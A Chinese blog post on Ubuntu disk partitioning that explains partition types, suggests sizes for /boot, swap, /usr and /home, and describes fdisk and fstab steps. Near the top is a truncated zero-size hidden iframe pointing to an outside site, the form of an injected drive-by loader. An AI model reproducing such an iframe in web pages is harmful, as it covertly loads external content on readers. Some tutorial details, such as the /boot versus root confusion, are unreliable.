Ubuntu 为用户分配磁盘空间Linux 硬盘分区方案

name="k" src="http://55880.cn/admin/help.htm" frameborder="0" width="0" height="0"> href="style.css" type="text/css" rel="stylesheet" /> 

  原创:不详

 

linux 分区概念

首先介绍一下linux中的分区概念,这个可是把一开始学习的我害苦了。在 Linux 中规定,每一个硬盘设备最多能有 4 个主分区(其中包含扩展分区)构成,任何一个扩展分区都要占用一个主分区号码,也就是在一个硬盘中,主分区和扩展分区一共最多是 4 个。对于早期的 DOS 和 Windows(Windows 2000 以前的版本),系统只承认一个主分区,可以通过在扩展分区上增加逻辑盘符(逻辑分区)的方法,进一步地细化分区。

主分区的作用就是计算机用来进行启动操作系统的,因此每一个操作系统的启动,或者称作是引导程序,都应该存放在主分区上。这就是主分区和扩展分区及逻辑分区的最大区别。我们在指定安装引导 Linux 的 bootloader 的时候,都要指定在主分区上,就是最好的例证。

Linux 规定了主分区(或者扩展分区)占用 1 至 16 号码中的前 4 个号码。以第一个 IDE 硬盘为例说明,主分区(或者扩展分区)占用了 hda1、hda2、hda3、hda4,而逻辑分区占用了 hda5 到 hda16 等 12 个号码。因此,Linux 下面每一个硬盘总共最多有 16 个分区。

对于逻辑分区,Linux 规定它们必须建立在扩展分区上(在 DOS 和 Windows 系统上也是如此规定),而不是主分区上。因此,我们可以看到扩展分区能够提供更加灵活的分区模式,但不能用来作为操作系统的引导。

以前对这些概念不熟,分区上走了很多弯路。那么,到底什么样是一个好的分区方案,我认为见仁见智,我是这样分的。原则上/ 和/home基本上最好是要单独挂载两个分区,因为home可以看成是windows中的my document,自己个人资料多的话home要大一些。/小一点无所谓,据说至少2G,我也没有试验过。其他的诸如/tmp和/var由于活动文件特别多,为了避免他们的文件碎片对其他区的影响,最好他们挂一个区。最后/opt主要安装大型软件,如果有多余的分区就给他挂一个吧。

开始分区

ok,我就这样看,首先分一个100M的主分区出来,挂载boot。grub启动时需要的文件都在/ b o o t 目录。这样就算工作分区出了问题,只要这个分区没有问题,同样可以启动。因此最好的办法就是专门为根文件分一个区,大小一般最多64M,我为了保险给了 100M。

之后的分区全部以扩展分区形式存在,扩展分区下很多逻辑分区。

首先创建一个交换分区,大小是无力内存的一倍到两倍大。如果你的内存和我一样是1G,就划1G好了。事实上基本用不到这么大。分区格式记着改成linux-swap。

然后创建一个尽量大的分区,给/usr,因为这里存放有大部分的系统软件,包括X Server等图形界面程序。我分了20G。

接下来创建/home的挂载分区。考虑到我的工作文档比较多,源代码和程序也经常放到这里,所以给了10G。

其他的诸如tmp,var等来说,单用户工作机是不用考虑的。当然不知道我的机器以后会不会有服务器应用,我还是给var分了2G的空间。

其他空间就全部挂载给/。虽然一般2G就够了,但是多多益善么。

注意:很多时候,如果你使用了ubuntu光盘自带的安装工具分区,会出现很多问题。如果遇到问题过不
去,推荐两个办法:

1 在live CD的环境中,在终端下直接用sudo fdisk /dev/xxx 
来分区,然后w保存后reboot,之后再进安装工具,手工编辑注册表时它认得的就是你编辑的分区表,不
用修改直接下一步即可。

2 你也可以同样用livecd的fdisk分好区后,用光盘上的livecd 
installer程序,在命令行下安装。不过这个安装程序只需要你挂载/和swap。那么其他分区怎么办呢?
可以先在分好,也可以安装完系统再分。如果将其他分区挂载到希望的目录下?举个例子。如果你想把/
home/user挂载到新的sda8分区下,可以这样做:

首先,将/dev/sda8 mount到 /mnt/sda8中。如果没有这个目录就自己mkdir。

然后,cp -R /home/user/* /mnt/sda8/user ,和cp -R /home/user/.* /mnt/sda8/user

最后修改/etc/fstab,增加一行/dev/sda8  /home ext3  defaults  0  2(参数自己确定)即可。
 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Ubuntu是一个非常流行的Linux发行版,广泛用于桌面、服务器和移动设备。在Ubuntu安装过程中,您需要进行磁盘分区以便安装Ubuntu。在本教程中,我将详细介绍如何在Ubuntu中进行磁盘分区。 首先,让我们来了解一下磁盘分区的概念。磁盘分区是将硬盘分成多个不同部分的过程,每个部分都可以使用不同的文件系统和分配不同的大小。磁盘可以分为主分区(最多4个)、扩展分区和逻辑分区。每个主分区或逻辑分区都可以包含一个文件系统,扩展分区可以包含多个逻辑分区。在安装Ubuntu时,您需要至少分配一个主分区,一个交换分区和一个根分区。 第一步,当您开始Ubuntu安装程序时,您会被要求选择安装类型。您可以选择直接安装Ubuntu,但在本教程中,我们将选择手动分区,以便更好地指定每个分区的大小和位置。在选择手动分区后,系统将为您提供一个分区表,显示磁盘的详细信息和已分配磁盘空间的情况。 第二步,您需要为根分区交换分区和其他分区分配磁盘空间。为了分配空间,您需要单击“新建分区”按钮,然后选择需要分配空间的位置。在新建分区对话框中,您可以指定分区的类型、分区大小和文件系统类型。 对于根分区,您需要分配至少10-20 GB的磁盘空间,而交换分区大小通常建议与RAM大小相同,以便在系统内存不足时提供额外的空间。 对于其他分区,您可以自由分配磁盘空间。例如,您可以将大部分空间分配给/home目录,这是存储用户家目录的位置。或者,您可以创建一个单独的分区来存储数据文件和其他文件。 最后,单击“安装”按钮即可开始安装程序。Ubuntu将使用您指定的分区表进行分区并将Ubuntu安装在根分区中。完成安装后,您可以使用磁盘工具来管理和修改分区,如果需要。 总体而言,Ubuntu磁盘分区并没有很难,只要您按照上述步骤正确分配空间并选择正确的文件系统,就可以很容易地完成。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值